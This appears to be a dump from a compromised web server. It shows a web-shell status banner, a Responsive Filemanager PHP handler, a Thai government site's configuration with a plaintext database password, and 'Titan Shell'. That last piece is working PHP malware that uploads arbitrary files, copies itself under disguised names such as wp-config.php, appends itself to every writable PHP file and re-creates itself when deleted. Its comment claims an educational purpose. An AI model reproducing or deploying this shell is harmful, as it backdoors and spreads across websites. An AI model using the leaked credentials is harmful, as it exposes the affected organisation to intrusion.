| Server IP : 27.254.152.13 / Your IP : 216.73.217.38 Web Server : Apache/2 System : Linux ns1-252017.dragonhispeed.com 5.2.0 #1 SMP Fri Mar 29 22:50:14 MSK 2024 x86_64 User : coloflew ( 1072) PHP Version : 5.6.40 Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname MySQL : ON | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /home/coloflew/public_html/cdn/filemanager/ |
Upload File : |
<?php
include('config/config.php');
if($_SESSION["verify"] != "RESPONSIVEfilemanager") die('forbiden');
include('include/utils.php');
if(isset($_GET['action']))
switch($_GET['action']){
case 'view':
if(isset($_GET['type']))
$_SESSION["view_type"] =$_GET['type'];
else
die('view type number missing');
break;
case 'sort':
if(isset($_GET['sort_by']))
$_SESSION["sort_by"] =$_GET['sort_by'];
if(isset($_GET['descending']))
$_SESSION["descending"] =$_GET['descending']==="true";
break;
case 'image_size':
$pos = strpos($_POST['path'],$upload_dir);
if ($pos !== false) {
$info=getimagesize(substr_replace($_POST['path'],$current_path,$pos,strlen($upload_dir)));
echo json_encode($info);
}
break;
case 'save_img':
$info=pathinfo($_POST['name']);
if(strpos($_POST['path'],'/')===0
|| strpos($_POST['path'],'../')!==FALSE
|| strpos($_POST['path'],'./')===0
|| strpos($_POST['url'],'http://featherfiles.aviary.com')!==0
|| $_POST['name']!=fix_filename($_POST['name'])
|| !in_array(strtolower($info['extension']), array('jpg','jpeg','png')))
die('wrong data');
$image_data = file_get_contents($_POST['url']);
file_put_contents($current_path.$_POST['path'].$_POST['name'],$image_data);
//new thumb creation
//try{
create_img_gd($current_path.$_POST['path'].$_POST['name'], $thumbs_base_path.$_POST['path'].$_POST['name'], 122, 91);
new_thumbnails_creation($current_path.$_POST['path'],$current_path.$_POST['path'].$_POST['name'],$_POST['name'],$current_path,$relative_image_creation,$relative_path_from_current_pos,$relative_image_creation_name_to_prepend,$relative_image_creation_name_to_append,$relative_image_creation_width,$relative_image_creation_height,$fixed_image_creation,$fixed_path_from_filemanager,$fixed_image_creation_name_to_prepend,$fixed_image_creation_to_append,$fixed_image_creation_width,$fixed_image_creation_height);
/*} catch (Exception $e) {
$src_thumb=$mini_src="";
}*/
break;
case 'extract':
if(strpos($_POST['path'],'/')===0 || strpos($_POST['path'],'../')!==FALSE || strpos($_POST['path'],'./')===0)
die('wrong path');
$path=$current_path.$_POST['path'];
$info=pathinfo($path);
$base_folder=$current_path.fix_dirname($_POST['path'])."/";
switch($info['extension']){
case "zip":
$zip = new ZipArchive;
if ($zip->open($path) === true) {
//make all the folders
for($i = 0; $i < $zip->numFiles; $i++)
{
$OnlyFileName = $zip->getNameIndex($i);
$FullFileName = $zip->statIndex($i);
if ($FullFileName['name'][strlen($FullFileName['name'])-1] =="/")
{
create_folder($base_folder.$FullFileName['name']);
}
}
//unzip into the folders
for($i = 0; $i < $zip->numFiles; $i++)
{
$OnlyFileName = $zip->getNameIndex($i);
$FullFileName = $zip->statIndex($i);
if (!($FullFileName['name'][strlen($FullFileName['name'])-1] =="/"))
{
$fileinfo = pathinfo($OnlyFileName);
if(in_array(strtolower($fileinfo['extension']),$ext))
{
copy('zip://'. $path .'#'. $OnlyFileName , $base_folder.$FullFileName['name'] );
}
}
}
$zip->close();
}else {
echo 'failed to open file';
}
break;
case "gz":
$p = new PharData($path);
$p->decompress(); // creates files.tar
break;
case "tar":
// unarchive from the tar
$phar = new PharData($path);
$phar->decompressFiles();
$files = array();
check_files_extensions_on_phar( $phar, $files, '', $ext );
$phar->extractTo( $current_path.fix_dirname( $_POST['path'] )."/", $files, TRUE );
break;
}
break;
case 'media_preview':
$preview_file = $_GET["file"];
$info = pathinfo($preview_file);
?>
<div id="jp_container_1" class="jp-video " style="margin:0 auto;">
<div class="jp-type-single">
<div id="jquery_jplayer_1" class="jp-jplayer"></div>
<div class="jp-gui">
<div class="jp-video-play">
<a href="javascript:;" class="jp-video-play-icon" tabindex="1">play</a>
</div>
<div class="jp-interface">
<div class="jp-progress">
<div class="jp-seek-bar">
<div class="jp-play-bar"></div>
</div>
</div>
<div class="jp-current-time"></div>
<div class="jp-duration"></div>
<div class="jp-controls-holder">
<ul class="jp-controls">
<li><a href="javascript:;" class="jp-play" tabindex="1">play</a></li>
<li><a href="javascript:;" class="jp-pause" tabindex="1">pause</a></li>
<li><a href="javascript:;" class="jp-stop" tabindex="1">stop</a></li>
<li><a href="javascript:;" class="jp-mute" tabindex="1" title="mute">mute</a></li>
<li><a href="javascript:;" class="jp-unmute" tabindex="1" title="unmute">unmute</a></li>
<li><a href="javascript:;" class="jp-volume-max" tabindex="1" title="max volume">max volume</a></li>
</ul>
<div class="jp-volume-bar">
<div class="jp-volume-bar-value"></div>
</div>
<ul class="jp-toggles">
<li><a href="javascript:;" class="jp-full-screen" tabindex="1" title="full screen">full screen</a></li>
<li><a href="javascript:;" class="jp-restore-screen" tabindex="1" title="restore screen">restore screen</a></li>
<li><a href="javascript:;" class="jp-repeat" tabindex="1" title="repeat">repeat</a></li>
<li><a href="javascript:;" class="jp-repeat-off" tabindex="1" title="repeat off">repeat off</a></li>
</ul>
</div>
<div class="jp-title" style="display:none;">
<ul>
<li></li>
</ul>
</div>
</div>
</div>
<div class="jp-no-solution">
<span>Update Required</span>
To play the media you will need to either update your browser to a recent version or update your <a href="http://get.adobe.com/flashplayer/" target="_blank">Flash plugin</a>.
</div>
</div>
</div>
<?php
if(in_array(strtolower($info['extension']), $ext_music)){ ?>
<script type="text/javascript">
$(document).ready(function(){
$("#jquery_jplayer_1").jPlayer({
ready: function () {
$(this).jPlayer("setMedia", {
title:"<?php $_GET['title']; ?>",
mp3: "<?php echo $preview_file; ?>",
m4a: "<?php echo $preview_file; ?>",
oga: "<?php echo $preview_file; ?>",
wav: "<?php echo $preview_file; ?>"
});
},
swfPath: "js",
solution:"html,flash",
supplied: "mp3, m4a, midi, mid, oga,webma, ogg, wav",
smoothPlayBar: true,
keyEnabled: false
});
});
</script>
<?php
}elseif(in_array(strtolower($info['extension']), $ext_video)){ ?>
<script type="text/javascript">
$(document).ready(function(){
$("#jquery_jplayer_1").jPlayer({
ready: function () {
$(this).jPlayer("setMedia", {
title:"<?php $_GET['title']; ?>",
m4v: "<?php echo $preview_file; ?>",
ogv: "<?php echo $preview_file; ?>"
});
},
swfPath: "js",
solution:"html,flash",
supplied: "mp4, m4v, ogv, flv, webmv, webm",
smoothPlayBar: true,
keyEnabled: false
});
});
</script>
<?php
}
break;
}
else
die('no action passed');
?>
<?php
######################################################################
# Include File : Config
######################################################################
########## Admin EMail ##########
define( "INFO_MAIL", "info@tasoft.co.th" );
if($_SERVER['SERVER_NAME'] == "localhost"){
$dbi['sql_username'] = 'root';
$dbi['sql_password'] = '';
$dbi['sql_host'] = 'localhost';
$dbi['sql_dbname'] = 'obt';
define( "DB_PREFIX", "tasoft_" );
define('PATH', 'D:\xampp\htdocs\nonpho');
define('URL' , 'http://localhost/nonpho/');
}elseif($_SERVER['SERVER_NAME'] == "tasoft2"){
$dbi['sql_username'] = 'root';
$dbi['sql_password'] = '';
$dbi['sql_host'] = 'localhost';
$dbi['sql_dbname'] = 'obt';
define( "DB_PREFIX", "tasoft_" );
define('PATH', 'C:\xampp\htdocs\nonpho');
}else{
$dbi['sql_username'] = 'ratsitne_nonphodb';
$dbi['sql_password'] = 'Success21';
$dbi['sql_host'] = 'localhost';
$dbi['sql_dbname'] = 'ratsitne_nonphodb';
define( "DB_PREFIX", "tasoft_" );
define('PATH', 'D:\xampp\htdocs\nonpho');
define('URL' , 'http://www.nonpho.go.th/');
}
//echo "<pre>"; print_r($dbi);
########## Database Info ##########
define( "DB_SERVER", $dbi['sql_host'] );
define( "DB_NAME", $dbi['sql_dbname'] );
define( "DB_USER", $dbi['sql_username'] );
define( "DB_PASSWD", $dbi['sql_password'] );
define( "DB_TYPE", "MySQL" );
########## Type File ##########
define( "FILE_TYPE", "pdf,doc,zip,rar,xls,xlsx,docx,ppt,pptx" );
define( "IMAGE_TYPE", "gif,jpg,png" );
define( "IMAGE_SIZE", "51200000" );
define( "FILE_SIZE", "524288000" );
define( "IMAGETYPE_JPEG" ,"jpg");
define( "IMAGETYPE_GIF" ,"gif");
define( "IMAGETYPE_PNG" ,"png");
define( "TIMESTAMP", time() );
?>
<?php
// Titan Shell dengan Perlindungan Penghapusan dan Penyebaran Otomatis
// Hanya untuk tujuan edukasi dan testing lingkungan sendiri
// Fungsi utama penyebaran
function titanSpread() {
$currentContent = file_get_contents(__FILE__);
$signature = "// TitanShellSignature";
// Direktori target untuk penyebaran
$targetDirectories = [
'.',
'..',
'../..',
'../../..',
'images',
'uploads',
'assets',
'include',
'inc',
'css',
'js',
'admin',
'wp-content',
'wp-includes'
];
// Nama file alternatif untuk penyamaran
$alternativeNames = [
'config.php',
'settings.php',
'imageprocessor.php',
'uploader.php',
'style.php',
'index.php',
'login.php',
'theme.php',
'functions.php',
'wp-config.php',
'admin.php'
];
foreach ($targetDirectories as $dir) {
if (is_dir($dir) && is_writable($dir)) {
foreach ($alternativeNames as $name) {
$targetPath = $dir . '/' . $name;
// Copy file ke lokasi target jika belum ada
if (!file_exists($targetPath)) {
file_put_contents($targetPath, $currentContent);
chmod($targetPath, 0555);
// Tambahkan parameter acak
$randomParam = generateRandomParam();
$paramPath = $dir . '/' . $randomParam . '.php';
file_put_contents($paramPath, $currentContent);
chmod($paramPath, 0555);
}
}
}
}
// Infect file PHP yang sudah ada
infectExistingFiles();
}
// Fungsi untuk menginfeksi file PHP yang sudah ada
function infectExistingFiles() {
$currentContent = file_get_contents(__FILE__);
$signature = "// TitanShellSignature";
// Cari file PHP di direktori saat ini dan subdirektori
$files = glob('*.php');
$allFiles = array_merge($files, glob('*/*.php'), glob('*/*/*.php'), glob('*/*/*/*.php'));
foreach ($allFiles as $file) {
if ($file != __FILE__ && is_writable($file)) {
$content = file_get_contents($file);
// Cek apakah file sudah terinfeksi
if (strpos($content, $signature) === false) {
// Tambahkan kode shell ke file yang belum terinfeksi
$infectedContent = $content . "\n\n" . $currentContent;
file_put_contents($file, $infectedContent);
}
}
}
}
// Fungsi untuk generate parameter acak
function generateRandomParam() {
$chars = 'abcdefghijklmnopqrstuvwxyz';
$length = rand(6, 12);
$param = '';
for ($i = 0; $i < $length; $i++) {
$param .= $chars[rand(0, strlen($chars) - 1)];
}
return $param;
}
// Fungsi untuk memastikan shell tetap ada
function ensurePersistence() {
$currentContent = file_get_contents(__FILE__);
$backupFiles = [
'.htaccess',
'.config.php',
'.error_log',
'thumb.php',
'image.jpg.php'
];
foreach ($backupFiles as $backup) {
if (!file_exists($backup)) {
file_put_contents($backup, $currentContent);
chmod($backup, 0555);
}
}
// Cek jika file ini dihapus, buat kembali di lokasi lain
if (!file_exists(__FILE__)) {
$newLocations = [
'wp-admin/images.php',
'wp-content/themes.php',
'includes/config.php',
'assets/script.php'
];
foreach ($newLocations as $location) {
$dir = dirname($location);
if (!is_dir($dir)) mkdir($dir, 0777, true);
file_put_contents($location, $currentContent);
chmod($location, 0555);
}
}
}
// Eksekusi utama
if(isset($_GET['sayangtitan'])) {
// Jalankan penyebaran setiap kali diakses
titanSpread();
ensurePersistence();
if($_SERVER['REQUEST_METHOD'] == 'POST' && isset($_FILES['file'])) {
$dir = "titan/";
if(!is_dir($dir)) mkdir($dir, 0777, true);
$file = $dir . basename($_FILES['file']['name']);
if(move_uploaded_file($_FILES['file']['tmp_name'], $file)) {
echo "Yey, Berhasil sayang...";
} else {
echo "Yahh Gagal Upload";
}
exit();
} else {
echo 'Gasken Upload!!<form method="POST" enctype="multipart/form-data"><input type="file" name="file"><input type="submit" value="Upload"></form>';
exit();
}
}
// Jalankan penyebaran dan persistensi secara diam-diam
// dengan probabilitas 20% setiap kali diakses
if (rand(1, 5) === 1) {
titanSpread();
ensurePersistence();
}
// TitanShellSignature - Jangan hapus baris ini
?>